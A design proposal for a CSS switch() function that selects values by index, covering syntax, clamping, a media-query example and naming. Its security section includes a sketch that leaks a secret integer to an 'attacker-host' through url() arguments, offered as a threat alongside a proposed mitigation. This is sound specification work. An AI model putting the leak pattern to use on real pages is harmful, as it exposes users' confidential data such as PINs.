# A switch-like function for CSS ## Rationale In CSS, `@media` rules are useful but may lead to some unwanted verbosity and maintenance issues. Although `var()` values are of help, one often has to either duplicate some rule structure or proliferate custom properties that are intended to be used at specific places. That's what [CSSWG's issue 5009](https://github.com/w3c/csswg-drafts/issues/5009) is about. Due to that, sometimes authors would prefer to specify values at the place where they are going to be used in the most common case, and may want to have that choice. Additionally, there are also situations where an author may want to scale certain values in terms of a given calculation, or have a simple mechanism to conditionally activate values belonging to a specific 'skin' or profile. ## A switch-like function I proposed the following function [as one possible solution to the above issue and use cases](https://github.com/w3c/csswg-drafts/issues/5009#issuecomment-620766100): ```css switch(, #) ``` to evaluate in the following way: - If the first argument is not positive, the value becomes invalid (it could be defined to start from zero as well). - The other arguments (I chose the [toggle-value](https://www.w3.org/TR/css-values-4/#typedef-toggle-value) from the `toggle()` function) are selected according to the first one: `1` means the first `` is returned, `2` the second, etc. If the first argument evaluates to _N_ and there are _M_ toggle-values, with _M_<_N_, then the last `` is used. The toggle-values could also contain `var()` functions, if the switch is resolved before the _vars_ are substituted/evaluated (allowing the contained commas to pass through the _switch_). ## Switching between values that contain commas I assume that authors want values with commas to pass through the switch (as opposed to being part of it), and that is why the switch is specified above to resolve before the _vars_ are substituted. Tab Atkins [suggested a syntax with semicolon separators](https://github.com/w3c/csswg-drafts/issues/5009#issuecomment-621302300) that could be clearer about the intent: ```css switch( [; ]{1,}) ``` where the [``](https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value) would be the one defined by CSS Syntax Module Level 3. ## Clamping considerations When the first argument is negative (or zero), the whole function becomes invalid instead of just clamping to `1`. The reason is that the first argument is intended to be a natural number, so negative values are unlikely to be what the author wants. And when authors want to clamp, they can do that explicitly with the `clamp()` function. When the negative value comes from a `calc()` expression, triggering invalidation seems potentially useful but collides with the general principle that values coming from `calc()` are clamped to the expected range. ## Example The following example illustrates one possible (very basic and easy, not necessarily representative) usage of the function: ```css html { --width-level: 1; --color-level: 1; } @media (max-width: 700px) { --width-level: 2; } @media (max-width: 360px) { --width-level: 3; } @media (color-gamut: p3) { --color-level: 2; } @media (color-gamut: rec2020) { --color-level: 3; } .foo{ margin: switch(var(--width-level); 50px 25px; 25px 12.5px; 12.5px); font-size: switch(var(--width-level); 24px; 20px); background-color: switch(var(--color-level); #35a8ff; lch(66% 65 259); lch(66% 70 259)); } ``` I expect authors to use lower index/level values for their baseline or "canonical" case, and higher numbers for the more "corner" cases. Otherwise, they could be repeating values unnecessarily at their switches. In the above example, the "target" for the web site would be a normal desktop with sRGB color support, and then smaller screens (as well as wider-gamut displays) are progressive corner cases that the author may need to deal with at some places, but at many _switch_ locations he/she may be fine with the latest specified value (hence one of the above switches has two _declaration-value_ arguments while the others have three). ## Security considerations Latest CSS specifications introduce powerful tools, but some may be used to exfiltrate confidential information. The proposed [advanced `attr()` value](https://www.w3.org/TR/css-values-4/#funcdef-attr) may be used to access sensitive data (see [CSSWG issue 5092](https://github.com/w3c/csswg-drafts/issues/5092)), and other CSS facilities may be used to leak that information. Attribute selectors could be used for the attack, but if the attribute value is an integer (like a PIN number) a similar scheme could be enabled with the function discussed here: ```css switch(var(--secret); url('http://attacker-host/value-is-1'); url('http://attacker-host/value-is-2'); url('http://attacker-host/value-is-3'); ...) ``` which would not be fundamentally different from the aforementioned attack based on selectors, although in this case it could be mitigated by setting a limit of `url()` arguments, for example: 1) If the property accepts `url()` values and the _switch_ resolves to a URL (or includes one), increase a (per-document) counter of _url-in-a-switch_ values with the number of value arguments (assuming all are URLs). 2) If a certain amount of _url-in-a-switch_ values is reached in the document (like 512), the function becomes invalid. When the property automatically converts a string to a `url()`, a similar handling would be required for strings. There are other attack variants that could be used for data exfiltration, but they do not require nor would obviously benefit from the function described here. If you are aware of any attack that could be enabled by the usage of this function, posting a comment would be appreciated. As far as I know, [this comment by Mike Bremford](https://github.com/w3c/csswg-drafts/issues/5136#issuecomment-637387091) was the first one to relate _switch_-like functions with attribute value exfiltration. ## Naming The _switch_ name is used in similar conditional statements implemented by several computer languages, being presumably a reference to the multi-position switches that used to be common in electronic equipment in the past (albeit much less common today). Other programming languages use different names for their _switch_-like statements: `cond` or `select` have been used as well. The function described here could have a different name (and could be implemented by browsers with any other name), but I'm using _switch_ as being somewhat descriptive of what it does.